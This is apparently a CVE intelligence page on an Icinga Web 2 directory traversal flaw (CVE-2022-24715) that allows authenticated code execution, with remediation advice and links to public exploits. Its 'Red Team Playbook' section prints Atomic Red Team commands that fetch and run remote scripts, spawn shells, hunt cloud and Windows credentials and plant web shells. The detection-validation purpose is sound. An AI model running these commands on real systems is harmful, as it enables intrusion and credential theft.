CVE-2022-24715
Overview
This vulnerability is a directory traversal flaw (CWE-22) in the configuration management component of Icinga Web 2. It arises from insufficient validation of user-supplied paths when authenticated users create SSH resource files, allowing file creation outside intended directories. The affected feature is the configuration interface accessible to authenticated users with configuration privileges.
Vulnerability Description
Icinga Web 2 is an open source monitoring web interface, framework and command-line interface. Authenticated users, with access to the configuration, can create SSH resource files in unintended directories, leading to the execution of arbitrary code. This issue has been resolved in versions 2.8.6, 2.9.6 and 2.10 of Icinga Web 2. Users unable to upgrade should limit access to the Icinga Web 2 configuration.
Impact
An attacker with authenticated configuration access can leverage this vulnerability to execute arbitrary code on the server by placing malicious SSH resource files in unintended locations. This requires low-privilege authentication and network access to the Icinga Web 2 interface. Successful exploitation can lead to full system compromise, including unauthorized data access and control over monitoring infrastructure. The CVSS vector indicates network attack vector with low privileges required but high impact on confidentiality, integrity, and availability.
Solution
Upgrade Icinga Web 2 to version 2.8.6, 2.9.6, or 2.10 where the vulnerability is patched, as detailed in the Gentoo GLSA-202208-05 advisory and the official GitHub security advisory GHSA-v9mv-h52f-7g63. For environments unable to upgrade immediately, restrict access to the configuration interface to trusted administrators only. Refer to the vendor advisories at https://security.gentoo.org/glsa/202208-05 and https://github.com/Icinga/icingaweb2/security/advisories/GHSA-v9mv-h52f-7g63 for full remediation instructions.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in Icinga Web 2 arises from improper handling of SSH resource file creation by authenticated users with configuration access. This flaw allows users to create these files in unintended directories, which can lead to arbitrary code execution on the server. The underlying issue stems from insufficient validation of file paths, enabling malicious actors to manipulate the file system and execute unauthorized commands. This vulnerability is particularly concerning given the nature of Icinga Web 2 as a monitoring tool, which often operates with elevated privileges to access critical system resources.
Exploitation of this vulnerability can occur through various attack vectors. An authenticated user, who may have legitimate access to the Icinga Web 2 configuration, could intentionally or unintentionally create SSH resource files in directories that are not intended for such files. By crafting these files with malicious content, the attacker can execute arbitrary code on the server, potentially leading to a complete system compromise. Scenarios may include an insider threat, where a disgruntled employee exploits this flaw, or an external attacker who gains access through credential theft or social engineering tactics.
The real-world impact of this vulnerability can be severe, particularly for organizations that rely on Icinga Web 2 for monitoring critical infrastructure. The ability to execute arbitrary code can lead to data breaches, system downtime, and loss of sensitive information. The business risks associated with such an incident include financial losses, reputational damage, and potential legal ramifications, especially if customer data is involved. Organizations may also face regulatory scrutiny if they fail to adequately protect their systems, leading to further financial penalties and loss of trust from stakeholders.
To detect and mitigate this vulnerability, organizations should first ensure they are running the latest versions of Icinga Web 2, specifically 2.8.6, 2.9.6, or 2.10, where the issue has been addressed. For those unable to upgrade immediately, it is crucial to limit access to the configuration settings of Icinga Web 2. Implementing strict access controls and regularly auditing user permissions can help reduce the risk of exploitation. Additionally, organizations should monitor their systems for unusual activity, such as unexpected file creations or unauthorized code execution, which could indicate an attempted exploitation of this vulnerability.
In conclusion, the vulnerability in Icinga Web 2 presents a significant threat to organizations that utilize this monitoring tool. By understanding the technical details, potential attack vectors, and real-world implications, cybersecurity professionals can better prepare to defend against such risks. Proactive measures, including timely updates and stringent access controls, are essential in mitigating the impact of this vulnerability and protecting critical infrastructure from exploitation.
CSURFACE threat intelligence has detected a marked escalation in exploitation attempts targeting CVE-2022-24715, with a significant uptick in activity involving authenticated remote code execution against vulnerable Icinga Web 2 instances. This surge coincides with the public release of multiple new proof-of-concept exploits, which have lowered the barrier for adversaries to weaponize this vulnerability. Our telemetry indicates that threat actors are increasingly leveraging these exploits within their operational toolsets, suggesting a shift from theoretical risk to active exploitation in the wild. Although the EPSS score remains stable, the qualitative increase in observed exploitation attempts elevates the practical threat level, underscoring the urgency for defenders to reassess exposure and monitoring strategies. This development is particularly critical for organizations that have yet to apply patches or restrict configuration access, as the window for opportunistic attacks is widening.
Affected Products (2)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Icinga | Icinga Web 2 | All |
cpe:2.3:a:icinga:icinga_web_2:*:*:*:*:*:*:*:*
|
|
|
Icinga | Icinga Web 2 | All |
cpe:2.3:a:icinga:icinga_web_2:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
ExploitDB (1)
| Title | Author | Type | Platform | Date | Link |
|---|---|---|---|---|---|
| Icinga Web 2.10 - Authenticated Remote Code Execution | Dante Corona | webapps | php | - | View |
GitHub PoCs (3)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
nimphtix/CVE-2022-24715
Authenticated Remote Code Execution in Icinga Web 2 <2.8.6, <2.9.6, <2.10
|
nimphtix | 0 | 2 | 2023-03-25 | View |
|
cxdxnt/CVE-2022-24715
Icinga Web 2 - Authenticated Remote Code Execution <2.8.6, <2.9.6, <2.10
|
cxdxnt | 0 | 0 | 2023-07-08 | View |
|
d4rkb0n3/CVE-2022-24715-go
|
d4rkb0n3 | 0 | 0 | 2023-11-06 | View |
Threat Feed
7 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
Public exploit code is available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (5)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2022-24715 |
| github.com |
GitHub CVE
|
https://github.com/Icinga/icingaweb2/security/advisories/GHSA-v9mv-h52f-7g63 |
| github.com |
GitHub CVE
|
https://github.com/Icinga/icingaweb2/commit/a06d915467ca943a4b406eb9587764b8ec34cafb |
| security.gentoo.org |
GitHub CVE
vendor-advisory
|
https://security.gentoo.org/glsa/202208-05 |
| packetstormsecurity.com |
GitHub CVE
|
http://packetstormsecurity.com/files/173516/Icinga-Web-2.10-Remote-Code-Execution.html |